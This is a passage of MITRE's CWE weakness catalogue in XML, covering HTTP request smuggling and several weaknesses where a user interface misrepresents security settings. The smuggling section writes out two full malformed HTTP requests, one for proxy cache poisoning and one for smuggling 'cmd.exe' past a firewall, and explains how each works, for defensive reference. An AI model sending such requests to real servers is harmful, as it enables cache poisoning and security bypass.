						            <Text>Use a web server that employs a strict HTTP parsing procedure, such as
							Apache (See paper in reference).</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Use only SSL communication.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>Implementation</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Terminate the client session after each request.</Text>
					          </Mitigation_Description>
				        </Mitigation>
				        <Mitigation>
					          <Mitigation_Phase>System Configuration</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Turn all pages to non-cacheable.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Demonstrative_Examples>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a malformed HTTP request is sent to a
						website that includes a proxy server and a web server with the intent of
						poisoning the cache to associate one webpage with another malicious
						webpage.</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Attack">
							              <Code>POST http://www.website.com/foobar.html HTTP/1.1</Code>
							              <Code>Host: www.website.com</Code>
							              <Code>Connection: Keep-Alive</Code>
							              <Code>Content-Type: application/x-www-form-urlencoded</Code>
							              <Code>Content-Length: 0</Code>
							              <Code>Content-Length: 44</Code>
							              <Code/>
							              <Code>GET /poison.html HTTP/1.1</Code>
							              <Code>Host: www.website.com</Code>
							              <Code>Bla: GET http://www.website.com/page_to_poison.html
								HTTP/1.1</Code>
							              <Code>Host: www.website.com</Code>
							              <Code>Connection: Keep-Alive</Code>
						            </Block>
						            <Text>When this request is sent to the proxy server, the proxy server parses
							the POST request in the first seven lines, and encounters the two
							"Content-Length" headers. The proxy server ignores the first header, so
							it assumes the request has a body of length 44 bytes. Therefore, it
							treats the data in the next three lines that contain exactly 44 bytes as
							the first request's body. The proxy then parses the last three lines
							which it treats as the client's second request.</Text>
						            <Text>The request is forwarded by the proxy server to the web server. Unlike
							the proxy, the web server uses the first "Content-Length" header and
							considers that the first POST request has no body, and the second
							request is the line with the first GET (note that the second GET is
							parsed by the web server as the value of the "Bla" header).</Text>
						            <Text>The requests the web server sees are "POST /foobar.html" and "GET
							/poison.html", so it sends back two responses with the contents of the
							"foobar.html" page and the "poison.html" page, respectively. The proxy
							matches these responses to the two requests it thinks were sent by the
							client "POST /foobar.html" and "GET /page_to_poison.html". If the
							response is cacheable, the proxy caches the contents of "poison.html"
							under the URL "page_to_poison.html", and the cache is poisoned! Any
							client requesting "page_to_poison.html" from the proxy would receive the
							"poison.html" page.</Text>
						            <Text>When a website includes both a proxy server and a web server some
							protection against this type of attack can be achieved by installing a
							web application firewall, or use a web server that includes a stricter
							HTTP parsing procedure or make all webpages non-cacheable.</Text>
						            <Text>Additionally, if a web application includes a Java servlet for
							processing requests, the servlet can check for multiple "Content-Length"
							headers and if they are found the servlet can return an error response
							thereby preventing the poison page to be cached, as shown below.</Text>
						            <Block Block_Nature="Good_Code">
							              <Code_Example_Language>Java</Code_Example_Language>
							              <Code>protected void processRequest(HttpServletRequest request,
								HttpServletResponse response) throws ServletException, IOException
								{</Code>
							              <Block>
								                <Comment>// Set up response writer object</Comment>
								                <Code>...</Code>
								                <Code>try {</Code>
								                <Block>
									                  <Comment>// check for multiple content length headers</Comment>
									                  <Code>Enumeration contentLengthHeaders =
										request.getHeaders("Content-Length");</Code>
									                  <Code>int count = 0;</Code>
									                  <Code>while (contentLengthHeaders.hasMoreElements()) {</Code>
									                  <Block>
										                    <Code>count++;</Code>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>if (count &gt; 1) {</Code>
									                  <Block>
										                    <Comment>// output error response</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code>else {</Code>
									                  <Block>
										                    <Comment>// process request</Comment>
									                  </Block>
									                  <Code>}</Code>
									                  <Code/>
								                </Block>
								                <Code>} catch (Exception ex) {...}</Code>
							              </Block>
							              <Code>}</Code>
						            </Block>
					          </Example_Body>
				        </Demonstrative_Example>
				        <Demonstrative_Example>
					          <Intro_Text>In the following example, a malformed HTTP request is sent to a
						website that includes a web server with a firewall with the intent of
						bypassing the web server firewall to smuggle malicious code into the
						system..</Intro_Text>
					          <Example_Body>
						            <Block Block_Nature="Attack">
							              <Code>POST /page.asp HTTP/1.1</Code>
							              <Code>Host: www.website.com</Code>
							              <Code>Connection: Keep-Alive</Code>
							              <Code>Content-Length: 49223</Code>
							              <Code/>
							              <Code>zzz...zzz ["z" x 49152]</Code>
							              <Code>POST /page.asp HTTP/1.0</Code>
							              <Code>Connection: Keep-Alive</Code>
							              <Code>Content-Length: 30</Code>
							              <Code/>
							              <Code>POST /page.asp HTTP/1.0</Code>
							              <Code>Bla: POST /page.asp?cmd.exe HTTP/1.0</Code>
							              <Code>Connection: Keep-Alive</Code>
						            </Block>
						            <Text>When this request is sent to the web server, the first POST request
							has a content-length of 49,223 bytes, and the firewall treats the line
							with 49,152 copies of "z" and the lines with an additional lines with 71
							bytes as its body (49,152+71=49,223). The firewall then continues to
							parse what it thinks is the second request starting with the line with
							the third POST request.</Text>
						            <Text>Note that there is no CRLF after the "Bla: " header so the POST in the
							line is parsed as the value of the "Bla:" header. Although the line
							contains the pattern identified with a worm ("cmd.exe"), it is not
							blocked, since it is considered part of a header value. Therefore,
							"cmd.exe" is smuggled through the firewall.</Text>
						            <Text>When the request is passed through the firewall the web server the
							first request is ignored because the web server does not find an
							expected "Content-Type: application/x-www-form-urlencoded" header, and
							starts parsing the second request.</Text>
						            <Text>This second request has a content-length of 30 bytes, which is exactly
							the length of the next two lines up to the space after the "Bla:"
							header. And unlike the firewall, the web server processes the final POST
							as a separate third request and the "cmd.exe" worm is smuggled through
							the firewall to the web server.</Text>
						            <Text>To avoid this attack a Web server firewall product must be used that
							is designed to prevent this type of attack.</Text>
					          </Example_Body>
				        </Demonstrative_Example>
			      </Demonstrative_Examples>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2088</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2089</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2090</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2091</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2092</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2093</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2005-2094</Observed_Example_Reference>
					          <Observed_Example_Description>Web servers allow request smuggling via
						inconsistent Transfer-Encoding and Content-Length
						headers.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <References>
				        <Reference>
					          <Reference_Author>Chaim Linhart</Reference_Author>
					          <Reference_Author>Amit Klein</Reference_Author>
					          <Reference_Author>Ronen Heled</Reference_Author>
					          <Reference_Author>Steve Orrin</Reference_Author>
					          <Reference_Title>HTTP Request Smuggling</Reference_Title>
					          <Reference_Link>http://www.cgisecurity.com/lib/HTTP-Request-Smuggling.pdf</Reference_Link>
				        </Reference>
			      </References>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>HTTP Request Smuggling</Mapped_Node_Name>
				        </Taxonomy_Mapping>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="WASC">
					          <Mapped_Node_Name>HTTP Request Smuggling </Mapped_Node_Name>
					          <Mapped_Node_ID>26</Mapped_Node_ID>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			
			      <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>105</CAPEC_ID>
            </Related_Attack_Pattern>
            <Related_Attack_Pattern CAPEC_Version="1.7.1">
               <CAPEC_ID>33</CAPEC_ID>
            </Related_Attack_Pattern>
         </Related_Attack_Patterns>
         <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Name, Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-05-27</Modification_Date>
					          <Modification_Comment>updated Name,
						Related_Attack_Patterns</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2010-02-16</Modification_Date>
					          <Modification_Comment>updated Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Common_Consequences,
						Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Demonstrative_Examples, Potential_Mitigations</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">HTTP Request
						Smuggling</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-09-09">Interpretation Conflict in
						Web Traffic (aka 'HTTP Request Smuggling')</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2009-05-27">Inconsistent Interpretation
						of HTTP Requests (aka 'HTTP Request Smuggling')</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="446" Name="UI Discrepancy for Security Feature" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The user interface does not correctly enable or configure a
					security feature, but the interface provides feedback that causes the user to
					believe that the feature is in a secure state.</Description_Summary>
				        <Extended_Description>
					          <Text>When the user interface does not properly reflect what the user asks of
						it, then it can lead the user into a false sense of security. For example,
						the user might check a box to enable a security option to enable encrypted
						communications, but the software does not actually enable the encryption.
						Alternately, the user might provide a "restrict ALL'" access control rule,
						but the software only implements "restrict SOME".</Text>
				        </Extended_Description>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>684</Relationship_Target_ID>
					          <!--Incorrect Provision of Specified Functionality-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>445</Relationship_Target_ID>
					          <!--User Interface Errors-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Relationship_Notes>
				        <Relationship_Note>
					          <Text>This is often resultant.</Text>
				        </Relationship_Note>
			      </Relationship_Notes>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Maintenance_Notes>
				        <Maintenance_Note>
					          <Text>This node is likely a loose composite that could be broken down into the
						different types of errors that cause the user interface to have incorrect
						interactions with the underlying security feature.</Text>
				        </Maintenance_Note>
			      </Maintenance_Notes>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-1999-1446</Observed_Example_Reference>
					          <Observed_Example_Description>UI inconsistency; visited URLs list not cleared
						when "Clear History" option is selected.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>User interface inconsistency</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings,
						Type</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-10-14</Modification_Date>
					          <Modification_Comment>updated Description, Maintenance_Notes,
						Other_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-03-29</Modification_Date>
					          <Modification_Comment>updated Other_Notes,
						Relationship_Notes</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Previous_Entry_Names>
					          <Previous_Entry_Name Name_Change_Date="2008-01-30">User Interface Discrepancy
						for Security Feature</Previous_Entry_Name>
					          <Previous_Entry_Name Name_Change_Date="2008-04-11">User Interface Discrepancy
						for Security Feature</Previous_Entry_Name>
				        </Previous_Entry_Names>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="447" Name="Unimplemented or Unsupported Feature in UI" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A UI function for a security feature appears to be supported
					and gives feedback to the user that suggests that it is supported, but the
					underlying functionality is not implemented.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID>1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>446</Relationship_Target_ID>
					          <!--UI Discrepancy for Security Feature-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>671</Relationship_Target_ID>
					          <!--Lack of Administrator Control over Security-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Architecture and Design</Introductory_Phase>
				        <Introductory_Phase>Implementation</Introductory_Phase>
				        <Introductory_Phase>Operation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform functionality testing before deploying the application.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2000-0127</Observed_Example_Reference>
					          <Observed_Example_Description>GUI configuration tool does not enable a security
						option when a checkbox is selected, although that option is honored when
						manually set in the configuration file.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0863</Observed_Example_Reference>
					          <Observed_Example_Description>Router does not implement a specific keyword when
						it is used in an ACL, allowing filter bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0865</Observed_Example_Reference>
					          <Observed_Example_Description>Router does not implement a specific keyword when
						it is used in an ACL, allowing filter bypass.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2004-0979</Observed_Example_Reference>
					          <Observed_Example_Description>Web browser does not properly modify security
						setting when the user sets it.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Research_Gaps>
				        <Research_Gap>
					          <Text>This issue needs more study, as there are not many examples. It is not
						clear whether it is primary or resultant.</Text>
				        </Research_Gap>
			      </Research_Gaps>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Unimplemented or unsupported feature in UI</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships, Other_Notes,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2009-12-28</Modification_Date>
					          <Modification_Comment>updated Other_Notes, Potential_Mitigations,
						Research_Gaps</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="448" Name="Obsolete Feature in UI" Weakness_Abstraction="Base" Status="Draft">
			      <Description>
				        <Description_Summary>A UI function is obsolete and the product does not warn the
					user.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>446</Relationship_Target_ID>
					          <!--UI Discrepancy for Security Feature-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Architecture and Design</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Remove the obsolete feature from the UI. Warn the user that the feature is no
							longer supported.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>Obsolete feature in UI</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2008-09-08</Modification_Date>
					          <Modification_Comment>updated Relationships,
						Taxonomy_Mappings</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-01</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2011-06-27</Modification_Date>
					          <Modification_Comment>updated Common_Consequences</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-05-11</Modification_Date>
					          <Modification_Comment>updated Relationships</Modification_Comment>
				        </Modification>
				        <Modification Modification_Source="Internal">
					          <Modifier>CWE Content Team</Modifier>
					          <Modifier_Organization>MITRE</Modifier_Organization>
					          <Modification_Date>2012-10-30</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
				        </Modification>
			      </Content_History>
		    </Weakness>
                    <Weakness ID="449" Name="The UI Performs the Wrong Action" Weakness_Abstraction="Base" Status="Incomplete">
			      <Description>
				        <Description_Summary>The UI performs the wrong action with respect to the user's
					request.</Description_Summary>
			      </Description>
			      <Relationships>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">1000</Relationship_View_ID>
						            <Relationship_View_ID Ordinal="Primary">699</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Weakness</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>446</Relationship_Target_ID>
					          <!--UI Discrepancy for Security Feature-->
				</Relationship>
				        <Relationship>
					          <Relationship_Views>
						            <Relationship_View_ID Ordinal="Primary">888</Relationship_View_ID>
					          </Relationship_Views>
					          <Relationship_Target_Form>Category</Relationship_Target_Form>
					          <Relationship_Nature>ChildOf</Relationship_Nature>
					          <Relationship_Target_ID>906</Relationship_Target_ID>
					          <!--SFP Cluster: UI-->
				</Relationship>
			      </Relationships>
			      <Applicable_Platforms>
				        <Languages>
					          <Language_Class Language_Class_Description="All"/>
				        </Languages>
			      </Applicable_Platforms>
			      <Time_of_Introduction>
				        <Introductory_Phase>Implementation</Introductory_Phase>
			      </Time_of_Introduction>
			      <Common_Consequences>
				        <Common_Consequence>
					          <Consequence_Scope>Other</Consequence_Scope>
					          <Consequence_Technical_Impact>Quality degradation</Consequence_Technical_Impact>
					          <Consequence_Technical_Impact>Varies by context</Consequence_Technical_Impact>
				        </Common_Consequence>
			      </Common_Consequences>
			      <Potential_Mitigations>
				        <Mitigation>
					          <Mitigation_Phase>Testing</Mitigation_Phase>
					          <Mitigation_Description>
						            <Text>Perform extensive functionality testing of the UI. The UI should
							behave as specified.</Text>
					          </Mitigation_Description>
				        </Mitigation>
			      </Potential_Mitigations>
			      <Observed_Examples>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-1387</Observed_Example_Reference>
					          <Observed_Example_Description>Network firewall accidentally implements one
						command line option as if it were another, possibly leading to behavioral
						infoleak.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2001-0081</Observed_Example_Reference>
					          <Observed_Example_Description>Command line option correctly suppresses a user
						prompt but does not properly disable a feature, although when the product
						prompts the user, the feature is properly
						disabled.</Observed_Example_Description>
				        </Observed_Example>
				        <Observed_Example>
					          <Observed_Example_Reference>CVE-2002-1977</Observed_Example_Reference>
					          <Observed_Example_Description>Product does not "time out" according to user
						specification, leaving sensitive data available after it has
						expired.</Observed_Example_Description>
				        </Observed_Example>
			      </Observed_Examples>
			      <Taxonomy_Mappings>
				        <Taxonomy_Mapping Mapped_Taxonomy_Name="PLOVER">
					          <Mapped_Node_Name>The UI performs the wrong action</Mapped_Node_Name>
				        </Taxonomy_Mapping>
			      </Taxonomy_Mappings>
			      <Content_History>
				        <Submission Submission_Source="Externally_Mined">
					          <Submitter>PLOVER</Submitter>
				        </Submission>
				        <Modification Modification_Source="External">
					          <Modifier>Eric Dalci</Modifier>
					          <Modifier_Organization>Cigital</Modifier_Organization>
					          <Modification_Date>2008-07-01</Modification_Date>
					          <Modification_Comment>updated Potential_Mitigations,
						Time_of_Introduction</Modification_Comment>
				        </Modification>
